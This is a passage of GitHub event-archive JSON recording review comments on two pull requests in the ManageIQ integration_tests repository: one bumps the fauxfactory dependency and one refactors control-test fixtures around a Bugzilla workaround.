entrypoints==0.3\n-fauxfactory==3.0.2\n+fauxfactory==3.6.0","path":"requirements/frozen.py3.txt","position":5,"original_position":5,"commit_id":"6789604316fe70d405f6a1e4e537fa30fa131cd0","original_commit_id":"6789604316fe70d405f6a1e4e537fa30fa131cd0","user":{"login":"mshriver","id":21315076,"node_id":"MDQ6VXNlcjIxMzE1MDc2","avatar_url":"https://avatars3.githubusercontent.com/u/21315076?v=4","gravatar_id":"","url":"https://api.github.com/users/mshriver","html_url":"https://github.com/mshriver","followers_url":"https://api.github.com/users/mshriver/followers","following_url":"https://api.github.com/users/mshriver/following{/other_user}","gists_url":"https://api.github.com/users/mshriver/gists{/gist_id}","starred_url":"https://api.github.com/users/mshriver/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mshriver/subscriptions","organizations_url":"https://api.github.com/users/mshriver/orgs","repos_url":"https://api.github.com/users/mshriver/repos","events_url":"https://api.github.com/users/mshriver/events{/privacy}","received_events_url":"https://api.github.com/users/mshriver/received_events","type":"User","site_admin":false},"body":"noob","created_at":"2019-07-31T13:56:11Z","updated_at":"2019-07-31T13:56:11Z","html_url":"https://github.com/ManageIQ/integration_tests/pull/9134#discussion_r309234346","pull_request_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments/309234346"},"html":{"href":"https://github.com/ManageIQ/integration_tests/pull/9134#discussion_r309234346"},"pull_request":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134"}},"in_reply_to_id":309234120},"pull_request":{"url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134","id":302966307,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAyOTY2MzA3","html_url":"https://github.com/ManageIQ/integration_tests/pull/9134","diff_url":"https://github.com/ManageIQ/integration_tests/pull/9134.diff","patch_url":"https://github.com/ManageIQ/integration_tests/pull/9134.patch","issue_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/9134","number":9134,"state":"open","locked":false,"title":"[RFR] Updating fauxfactor to 3.6.0","user":{"login":"jawatts","id":31294478,"node_id":"MDQ6VXNlcjMxMjk0NDc4","avatar_url":"https://avatars2.githubusercontent.com/u/31294478?v=4","gravatar_id":"","url":"https://api.github.com/users/jawatts","html_url":"https://github.com/jawatts","followers_url":"https://api.github.com/users/jawatts/followers","following_url":"https://api.github.com/users/jawatts/following{/other_user}","gists_url":"https://api.github.com/users/jawatts/gists{/gist_id}","starred_url":"https://api.github.com/users/jawatts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jawatts/subscriptions","organizations_url":"https://api.github.com/users/jawatts/orgs","repos_url":"https://api.github.com/users/jawatts/repos","events_url":"https://api.github.com/users/jawatts/events{/privacy}","received_events_url":"https://api.github.com/users/jawatts/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-07-31T13:54:34Z","updated_at":"2019-07-31T13:56:11Z","closed_at":null,"merged_at":null,"merge_commit_sha":"edb847013a2282bf2997ab6ffeeb69e284e1a03e","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":469131169,"node_id":"MDU6TGFiZWw0NjkxMzExNjk=","url":"https://api.github.com/repos/ManageIQ/integration_tests/labels/other","name":"other","color":"c2e0c6","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134/commits","review_comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134/comments","review_comment_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/9134/comments","statuses_url":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/6789604316fe70d405f6a1e4e537fa30fa131cd0","head":{"label":"jawatts:update_fauxfactory","ref":"update_fauxfactory","sha":"6789604316fe70d405f6a1e4e537fa30fa131cd0","user":{"login":"jawatts","id":31294478,"node_id":"MDQ6VXNlcjMxMjk0NDc4","avatar_url":"https://avatars2.githubusercontent.com/u/31294478?v=4","gravatar_id":"","url":"https://api.github.com/users/jawatts","html_url":"https://github.com/jawatts","followers_url":"https://api.github.com/users/jawatts/followers","following_url":"https://api.github.com/users/jawatts/following{/other_user}","gists_url":"https://api.github.com/users/jawatts/gists{/gist_id}","starred_url":"https://api.github.com/users/jawatts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jawatts/subscriptions","organizations_url":"https://api.github.com/users/jawatts/orgs","repos_url":"https://api.github.com/users/jawatts/repos","events_url":"https://api.github.com/users/jawatts/events{/privacy}","received_events_url":"https://api.github.com/users/jawatts/received_events","type":"User","site_admin":false},"repo":{"id":101302879,"node_id":"MDEwOlJlcG9zaXRvcnkxMDEzMDI4Nzk=","name":"integration_tests","full_name":"jawatts/integration_tests","private":false,"owner":{"login":"jawatts","id":31294478,"node_id":"MDQ6VXNlcjMxMjk0NDc4","avatar_url":"https://avatars2.githubusercontent.com/u/31294478?v=4","gravatar_id":"","url":"https://api.github.com/users/jawatts","html_url":"https://github.com/jawatts","followers_url":"https://api.github.com/users/jawatts/followers","following_url":"https://api.github.com/users/jawatts/following{/other_user}","gists_url":"https://api.github.com/users/jawatts/gists{/gist_id}","starred_url":"https://api.github.com/users/jawatts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jawatts/subscriptions","organizations_url":"https://api.github.com/users/jawatts/orgs","repos_url":"https://api.github.com/users/jawatts/repos","events_url":"https://api.github.com/users/jawatts/events{/privacy}","received_events_url":"https://api.github.com/users/jawatts/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jawatts/integration_tests","description":"ManageIQ integration tests","fork":true,"url":"https://api.github.com/repos/jawatts/integration_tests","forks_url":"https://api.github.com/repos/jawatts/integration_tests/forks","keys_url":"https://api.github.com/repos/jawatts/integration_tests/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jawatts/integration_tests/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jawatts/integration_tests/teams","hooks_url":"https://api.github.com/repos/jawatts/integration_tests/hooks","issue_events_url":"https://api.github.com/repos/jawatts/integration_tests/issues/events{/number}","events_url":"https://api.github.com/repos/jawatts/integration_tests/events","assignees_url":"https://api.github.com/repos/jawatts/integration_tests/assignees{/user}","branches_url":"https://api.github.com/repos/jawatts/integration_tests/branches{/branch}","tags_url":"https://api.github.com/repos/jawatts/integration_tests/tags","blobs_url":"https://api.github.com/repos/jawatts/integration_tests/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jawatts/integration_tests/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jawatts/integration_tests/git/refs{/sha}","trees_url":"https://api.github.com/repos/jawatts/integration_tests/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jawatts/integration_tests/statuses/{sha}","languages_url":"https://api.github.com/repos/jawatts/integration_tests/languages","stargazers_url":"https://api.github.com/repos/jawatts/integration_tests/stargazers","contributors_url":"https://api.github.com/repos/jawatts/integration_tests/contributors","subscribers_url":"https://api.github.com/repos/jawatts/integration_tests/subscribers","subscription_url":"https://api.github.com/repos/jawatts/integration_tests/subscription","commits_url":"https://api.github.com/repos/jawatts/integration_tests/commits{/sha}","git_commits_url":"https://api.github.com/repos/jawatts/integration_tests/git/commits{/sha}","comments_url":"https://api.github.com/repos/jawatts/integration_tests/comments{/number}","issue_comment_url":"https://api.github.com/repos/jawatts/integration_tests/issues/comments{/number}","contents_url":"https://api.github.com/repos/jawatts/integration_tests/contents/{+path}","compare_url":"https://api.github.com/repos/jawatts/integration_tests/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jawatts/integration_tests/merges","archive_url":"https://api.github.com/repos/jawatts/integration_tests/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jawatts/integration_tests/downloads","issues_url":"https://api.github.com/repos/jawatts/integration_tests/issues{/number}","pulls_url":"https://api.github.com/repos/jawatts/integration_tests/pulls{/number}","milestones_url":"https://api.github.com/repos/jawatts/integration_tests/milestones{/number}","notifications_url":"https://api.github.com/repos/jawatts/integration_tests/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jawatts/integration_tests/labels{/name}","releases_url":"https://api.github.com/repos/jawatts/integration_tests/releases{/id}","deployments_url":"https://api.github.com/repos/jawatts/integration_tests/deployments","created_at":"2017-08-24T14:17:34Z","updated_at":"2017-08-24T14:17:38Z","pushed_at":"2019-07-31T13:54:13Z","git_url":"git://github.com/jawatts/integration_tests.git","ssh_url":"git@github.com:jawatts/integration_tests.git","clone_url":"https://github.com/jawatts/integration_tests.git","svn_url":"https://github.com/jawatts/integration_tests","homepage":"","size":33918,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ManageIQ:master","ref":"master","sha":"9131c6e774436d14c7533bcd5a721280f3b71d6b","user":{"login":"ManageIQ","id":1125575,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjU1NzU=","avatar_url":"https://avatars0.githubusercontent.com/u/1125575?v=4","gravatar_id":"","url":"https://api.github.com/users/ManageIQ","html_url":"https://github.com/ManageIQ","followers_url":"https://api.github.com/users/ManageIQ/followers","following_url":"https://api.github.com/users/ManageIQ/following{/other_user}","gists_url":"https://api.github.com/users/ManageIQ/gists{/gist_id}","starred_url":"https://api.github.com/users/ManageIQ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManageIQ/subscriptions","organizations_url":"https://api.github.com/users/ManageIQ/orgs","repos_url":"https://api.github.com/users/ManageIQ/repos","events_url":"https://api.github.com/users/ManageIQ/events{/privacy}","received_events_url":"https://api.github.com/users/ManageIQ/received_events","type":"Organization","site_admin":false},"repo":{"id":8061086,"node_id":"MDEwOlJlcG9zaXRvcnk4MDYxMDg2","name":"integration_tests","full_name":"ManageIQ/integration_tests","private":false,"owner":{"login":"ManageIQ","id":1125575,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjU1NzU=","avatar_url":"https://avatars0.githubusercontent.com/u/1125575?v=4","gravatar_id":"","url":"https://api.github.com/users/ManageIQ","html_url":"https://github.com/ManageIQ","followers_url":"https://api.github.com/users/ManageIQ/followers","following_url":"https://api.github.com/users/ManageIQ/following{/other_user}","gists_url":"https://api.github.com/users/ManageIQ/gists{/gist_id}","starred_url":"https://api.github.com/users/ManageIQ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManageIQ/subscriptions","organizations_url":"https://api.github.com/users/ManageIQ/orgs","repos_url":"https://api.github.com/users/ManageIQ/repos","events_url":"https://api.github.com/users/ManageIQ/events{/privacy}","received_events_url":"https://api.github.com/users/ManageIQ/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ManageIQ/integration_tests","description":"ManageIQ integration tests","fork":false,"url":"https://api.github.com/repos/ManageIQ/integration_tests","forks_url":"https://api.github.com/repos/ManageIQ/integration_tests/forks","keys_url":"https://api.github.com/repos/ManageIQ/integration_tests/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ManageIQ/integration_tests/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ManageIQ/integration_tests/teams","hooks_url":"https://api.github.com/repos/ManageIQ/integration_tests/hooks","issue_events_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/events{/number}","events_url":"https://api.github.com/repos/ManageIQ/integration_tests/events","assignees_url":"https://api.github.com/repos/ManageIQ/integration_tests/assignees{/user}","branches_url":"https://api.github.com/repos/ManageIQ/integration_tests/branches{/branch}","tags_url":"https://api.github.com/repos/ManageIQ/integration_tests/tags","blobs_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/refs{/sha}","trees_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/{sha}","languages_url":"https://api.github.com/repos/ManageIQ/integration_tests/languages","stargazers_url":"https://api.github.com/repos/ManageIQ/integration_tests/stargazers","contributors_url":"https://api.github.com/repos/ManageIQ/integration_tests/contributors","subscribers_url":"https://api.github.com/repos/ManageIQ/integration_tests/subscribers","subscription_url":"https://api.github.com/repos/ManageIQ/integration_tests/subscription","commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/commits{/sha}","git_commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/commits{/sha}","comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/comments{/number}","issue_comment_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/comments{/number}","contents_url":"https://api.github.com/repos/ManageIQ/integration_tests/contents/{+path}","compare_url":"https://api.github.com/repos/ManageIQ/integration_tests/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ManageIQ/integration_tests/merges","archive_url":"https://api.github.com/repos/ManageIQ/integration_tests/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ManageIQ/integration_tests/downloads","issues_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues{/number}","pulls_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls{/number}","milestones_url":"https://api.github.com/repos/ManageIQ/integration_tests/milestones{/number}","notifications_url":"https://api.github.com/repos/ManageIQ/integration_tests/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ManageIQ/integration_tests/labels{/name}","releases_url":"https://api.github.com/repos/ManageIQ/integration_tests/releases{/id}","deployments_url":"https://api.github.com/repos/ManageIQ/integration_tests/deployments","created_at":"2013-02-06T21:59:17Z","updated_at":"2019-07-31T12:52:40Z","pushed_at":"2019-07-31T13:54:34Z","git_url":"git://github.com/ManageIQ/integration_tests.git","ssh_url":"git@github.com:ManageIQ/integration_tests.git","clone_url":"https://github.com/ManageIQ/integration_tests.git","svn_url":"https://github.com/ManageIQ/integration_tests","homepage":"","size":34333,"stargazers_count":63,"watchers_count":63,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":156,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":179,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":156,"open_issues":179,"watchers":63,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134"},"html":{"href":"https://github.com/ManageIQ/integration_tests/pull/9134"},"issue":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/issues/9134"},"comments":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/issues/9134/comments"},"review_comments":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134/comments"},"review_comment":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/9134/commits"},"statuses":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/6789604316fe70d405f6a1e4e537fa30fa131cd0"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 8061086,
"name": "ManageIQ/integration_tests",
"url": "https://api.github.com/repos/ManageIQ/integration_tests"
}
|
{
"id": 21315076,
"login": "mshriver",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/21315076?",
"url": "https://api.github.com/users/mshriver"
}
|
{
"id": 1125575,
"login": "ManageIQ",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1125575?",
"url": "https://api.github.com/orgs/ManageIQ"
}
| 2019-07-31T13:56:11 |
10120539992
|
{"actor":{"display_login":"mshriver"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments/263093314","pull_request_review_id":211421822,"id":263093314,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2MzA5MzMxNA==","diff_hunk":"@@ -271,6 +273,8 @@ def create(self, condition_class, description, expression=None, scope=None, note\n view.add_button.click()\n view = condition.create_view(ConditionDetailsView, wait=\"10s\")\n view.flash.assert_success_message('Condition \"{}\" was added'.format(condition.description))\n+ if BZ(1683697, forced_streams=[\"5.9\", \"5.10\"]).blocks:\n+ navigate_to(self.appliance.server, 'ControlExplorer', force=True)","path":"cfme/control/explorer/conditions.py","position":30,"original_position":30,"commit_id":"2df812cebc00ec28105bff21eca3e2d7b28505b7","original_commit_id":"2df812cebc00ec28105bff21eca3e2d7b28505b7","user":{"login":"john-dupuy","id":44065123,"node_id":"MDQ6VXNlcjQ0MDY1MTIz","avatar_url":"https://avatars0.githubusercontent.com/u/44065123?v=4","gravatar_id":"","url":"https://api.github.com/users/john-dupuy","html_url":"https://github.com/john-dupuy","followers_url":"https://api.github.com/users/john-dupuy/followers","following_url":"https://api.github.com/users/john-dupuy/following{/other_user}","gists_url":"https://api.github.com/users/john-dupuy/gists{/gist_id}","starred_url":"https://api.github.com/users/john-dupuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/john-dupuy/subscriptions","organizations_url":"https://api.github.com/users/john-dupuy/orgs","repos_url":"https://api.github.com/users/john-dupuy/repos","events_url":"https://api.github.com/users/john-dupuy/events{/privacy}","received_events_url":"https://api.github.com/users/john-dupuy/received_events","type":"User","site_admin":false},"body":"Force is necessary due to the nature of that BZ. That BZ messes with `currently_selected` of the `ManageIQtree`. As a workaround you can use force. ","created_at":"2019-03-06T19:16:10Z","updated_at":"2019-03-06T19:16:11Z","html_url":"https://github.com/ManageIQ/integration_tests/pull/8512#discussion_r263093314","pull_request_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments/263093314"},"html":{"href":"https://github.com/ManageIQ/integration_tests/pull/8512#discussion_r263093314"},"pull_request":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512"}},"in_reply_to_id":263060735},"pull_request":{"url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512","id":256413504,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU2NDEzNTA0","html_url":"https://github.com/ManageIQ/integration_tests/pull/8512","diff_url":"https://github.com/ManageIQ/integration_tests/pull/8512.diff","patch_url":"https://github.com/ManageIQ/integration_tests/pull/8512.patch","issue_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/8512","number":8512,"state":"open","locked":false,"title":"[1LP][WIPTEST] Remove fixtured collections from control tests","user":{"login":"john-dupuy","id":44065123,"node_id":"MDQ6VXNlcjQ0MDY1MTIz","avatar_url":"https://avatars0.githubusercontent.com/u/44065123?v=4","gravatar_id":"","url":"https://api.github.com/users/john-dupuy","html_url":"https://github.com/john-dupuy","followers_url":"https://api.github.com/users/john-dupuy/followers","following_url":"https://api.github.com/users/john-dupuy/following{/other_user}","gists_url":"https://api.github.com/users/john-dupuy/gists{/gist_id}","starred_url":"https://api.github.com/users/john-dupuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/john-dupuy/subscriptions","organizations_url":"https://api.github.com/users/john-dupuy/orgs","repos_url":"https://api.github.com/users/john-dupuy/repos","events_url":"https://api.github.com/users/john-dupuy/events{/privacy}","received_events_url":"https://api.github.com/users/john-dupuy/received_events","type":"User","site_admin":false},"body":"Minor refactor to get rid of all of the fixtures of the following form: \r\n\r\n```\r\n@pytest.fixture\r\ndef collection:\r\n return appliance.collections.collection\r\n```\r\n\r\nfrom `test_alerts.py`, `test_basic.py`, and `test_bugs.py`. Also fixing a couple of views for policies by removing a BZ that has since been fixed. Fixing the test `test_delete_all_actions_from_compliance_policy`. Registering a [BZ](https://bugzilla.redhat.com/show_bug.cgi?id=1683697) against condition creation, since this was causing test failures in `test_basic`. \r\n\r\n{{ pytest: --long-running cfme/tests/control/test_bugs.py::test_control_identical_descriptions }}","created_at":"2019-02-26T19:22:55Z","updated_at":"2019-03-06T19:16:11Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5fc07232af33e619a3da30775eff54e6e579d4d5","assignee":null,"assignees":[],"requested_reviewers":[{"login":"izapolsk","id":21039333,"node_id":"MDQ6VXNlcjIxMDM5MzMz","avatar_url":"https://avatars2.githubusercontent.com/u/21039333?v=4","gravatar_id":"","url":"https://api.github.com/users/izapolsk","html_url":"https://github.com/izapolsk","followers_url":"https://api.github.com/users/izapolsk/followers","following_url":"https://api.github.com/users/izapolsk/following{/other_user}","gists_url":"https://api.github.com/users/izapolsk/gists{/gist_id}","starred_url":"https://api.github.com/users/izapolsk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/izapolsk/subscriptions","organizations_url":"https://api.github.com/users/izapolsk/orgs","repos_url":"https://api.github.com/users/izapolsk/repos","events_url":"https://api.github.com/users/izapolsk/events{/privacy}","received_events_url":"https://api.github.com/users/izapolsk/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":140426718,"node_id":"MDU6TGFiZWwxNDA0MjY3MTg=","url":"https://api.github.com/repos/ManageIQ/integration_tests/labels/WIP-testing","name":"WIP-testing","color":"fef2c0","default":false},{"id":469084577,"node_id":"MDU6TGFiZWw0NjkwODQ1Nzc=","url":"https://api.github.com/repos/ManageIQ/integration_tests/labels/fix-framework","name":"fix-framework","color":"0e8a16","default":false},{"id":118710104,"node_id":"MDU6TGFiZWwxMTg3MTAxMDQ=","url":"https://api.github.com/repos/ManageIQ/integration_tests/labels/lint-ok","name":"lint-ok","color":"ffffff","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512/commits","review_comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512/comments","review_comment_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/8512/comments","statuses_url":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/2df812cebc00ec28105bff21eca3e2d7b28505b7","head":{"label":"john-dupuy:refactor-control","ref":"refactor-control","sha":"2df812cebc00ec28105bff21eca3e2d7b28505b7","user":{"login":"john-dupuy","id":44065123,"node_id":"MDQ6VXNlcjQ0MDY1MTIz","avatar_url":"https://avatars0.githubusercontent.com/u/44065123?v=4","gravatar_id":"","url":"https://api.github.com/users/john-dupuy","html_url":"https://github.com/john-dupuy","followers_url":"https://api.github.com/users/john-dupuy/followers","following_url":"https://api.github.com/users/john-dupuy/following{/other_user}","gists_url":"https://api.github.com/users/john-dupuy/gists{/gist_id}","starred_url":"https://api.github.com/users/john-dupuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/john-dupuy/subscriptions","organizations_url":"https://api.github.com/users/john-dupuy/orgs","repos_url":"https://api.github.com/users/john-dupuy/repos","events_url":"https://api.github.com/users/john-dupuy/events{/privacy}","received_events_url":"https://api.github.com/users/john-dupuy/received_events","type":"User","site_admin":false},"repo":{"id":152758509,"node_id":"MDEwOlJlcG9zaXRvcnkxNTI3NTg1MDk=","name":"integration_tests","full_name":"john-dupuy/integration_tests","private":false,"owner":{"login":"john-dupuy","id":44065123,"node_id":"MDQ6VXNlcjQ0MDY1MTIz","avatar_url":"https://avatars0.githubusercontent.com/u/44065123?v=4","gravatar_id":"","url":"https://api.github.com/users/john-dupuy","html_url":"https://github.com/john-dupuy","followers_url":"https://api.github.com/users/john-dupuy/followers","following_url":"https://api.github.com/users/john-dupuy/following{/other_user}","gists_url":"https://api.github.com/users/john-dupuy/gists{/gist_id}","starred_url":"https://api.github.com/users/john-dupuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/john-dupuy/subscriptions","organizations_url":"https://api.github.com/users/john-dupuy/orgs","repos_url":"https://api.github.com/users/john-dupuy/repos","events_url":"https://api.github.com/users/john-dupuy/events{/privacy}","received_events_url":"https://api.github.com/users/john-dupuy/received_events","type":"User","site_admin":false},"html_url":"https://github.com/john-dupuy/integration_tests","description":"ManageIQ integration tests","fork":true,"url":"https://api.github.com/repos/john-dupuy/integration_tests","forks_url":"https://api.github.com/repos/john-dupuy/integration_tests/forks","keys_url":"https://api.github.com/repos/john-dupuy/integration_tests/keys{/key_id}","collaborators_url":"https://api.github.com/repos/john-dupuy/integration_tests/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/john-dupuy/integration_tests/teams","hooks_url":"https://api.github.com/repos/john-dupuy/integration_tests/hooks","issue_events_url":"https://api.github.com/repos/john-dupuy/integration_tests/issues/events{/number}","events_url":"https://api.github.com/repos/john-dupuy/integration_tests/events","assignees_url":"https://api.github.com/repos/john-dupuy/integration_tests/assignees{/user}","branches_url":"https://api.github.com/repos/john-dupuy/integration_tests/branches{/branch}","tags_url":"https://api.github.com/repos/john-dupuy/integration_tests/tags","blobs_url":"https://api.github.com/repos/john-dupuy/integration_tests/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/john-dupuy/integration_tests/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/john-dupuy/integration_tests/git/refs{/sha}","trees_url":"https://api.github.com/repos/john-dupuy/integration_tests/git/trees{/sha}","statuses_url":"https://api.github.com/repos/john-dupuy/integration_tests/statuses/{sha}","languages_url":"https://api.github.com/repos/john-dupuy/integration_tests/languages","stargazers_url":"https://api.github.com/repos/john-dupuy/integration_tests/stargazers","contributors_url":"https://api.github.com/repos/john-dupuy/integration_tests/contributors","subscribers_url":"https://api.github.com/repos/john-dupuy/integration_tests/subscribers","subscription_url":"https://api.github.com/repos/john-dupuy/integration_tests/subscription","commits_url":"https://api.github.com/repos/john-dupuy/integration_tests/commits{/sha}","git_commits_url":"https://api.github.com/repos/john-dupuy/integration_tests/git/commits{/sha}","comments_url":"https://api.github.com/repos/john-dupuy/integration_tests/comments{/number}","issue_comment_url":"https://api.github.com/repos/john-dupuy/integration_tests/issues/comments{/number}","contents_url":"https://api.github.com/repos/john-dupuy/integration_tests/contents/{+path}","compare_url":"https://api.github.com/repos/john-dupuy/integration_tests/compare/{base}...{head}","merges_url":"https://api.github.com/repos/john-dupuy/integration_tests/merges","archive_url":"https://api.github.com/repos/john-dupuy/integration_tests/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/john-dupuy/integration_tests/downloads","issues_url":"https://api.github.com/repos/john-dupuy/integration_tests/issues{/number}","pulls_url":"https://api.github.com/repos/john-dupuy/integration_tests/pulls{/number}","milestones_url":"https://api.github.com/repos/john-dupuy/integration_tests/milestones{/number}","notifications_url":"https://api.github.com/repos/john-dupuy/integration_tests/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/john-dupuy/integration_tests/labels{/name}","releases_url":"https://api.github.com/repos/john-dupuy/integration_tests/releases{/id}","deployments_url":"https://api.github.com/repos/john-dupuy/integration_tests/deployments","created_at":"2018-10-12T13:57:47Z","updated_at":"2018-10-12T13:57:52Z","pushed_at":"2019-03-06T14:21:08Z","git_url":"git://github.com/john-dupuy/integration_tests.git","ssh_url":"git@github.com:john-dupuy/integration_tests.git","clone_url":"https://github.com/john-dupuy/integration_tests.git","svn_url":"https://github.com/john-dupuy/integration_tests","homepage":"","size":31776,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ManageIQ:master","ref":"master","sha":"387e9235a8659974138b0df4b5dfbc491c29410e","user":{"login":"ManageIQ","id":1125575,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjU1NzU=","avatar_url":"https://avatars0.githubusercontent.com/u/1125575?v=4","gravatar_id":"","url":"https://api.github.com/users/ManageIQ","html_url":"https://github.com/ManageIQ","followers_url":"https://api.github.com/users/ManageIQ/followers","following_url":"https://api.github.com/users/ManageIQ/following{/other_user}","gists_url":"https://api.github.com/users/ManageIQ/gists{/gist_id}","starred_url":"https://api.github.com/users/ManageIQ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManageIQ/subscriptions","organizations_url":"https://api.github.com/users/ManageIQ/orgs","repos_url":"https://api.github.com/users/ManageIQ/repos","events_url":"https://api.github.com/users/ManageIQ/events{/privacy}","received_events_url":"https://api.github.com/users/ManageIQ/received_events","type":"Organization","site_admin":false},"repo":{"id":8061086,"node_id":"MDEwOlJlcG9zaXRvcnk4MDYxMDg2","name":"integration_tests","full_name":"ManageIQ/integration_tests","private":false,"owner":{"login":"ManageIQ","id":1125575,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjU1NzU=","avatar_url":"https://avatars0.githubusercontent.com/u/1125575?v=4","gravatar_id":"","url":"https://api.github.com/users/ManageIQ","html_url":"https://github.com/ManageIQ","followers_url":"https://api.github.com/users/ManageIQ/followers","following_url":"https://api.github.com/users/ManageIQ/following{/other_user}","gists_url":"https://api.github.com/users/ManageIQ/gists{/gist_id}","starred_url":"https://api.github.com/users/ManageIQ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ManageIQ/subscriptions","organizations_url":"https://api.github.com/users/ManageIQ/orgs","repos_url":"https://api.github.com/users/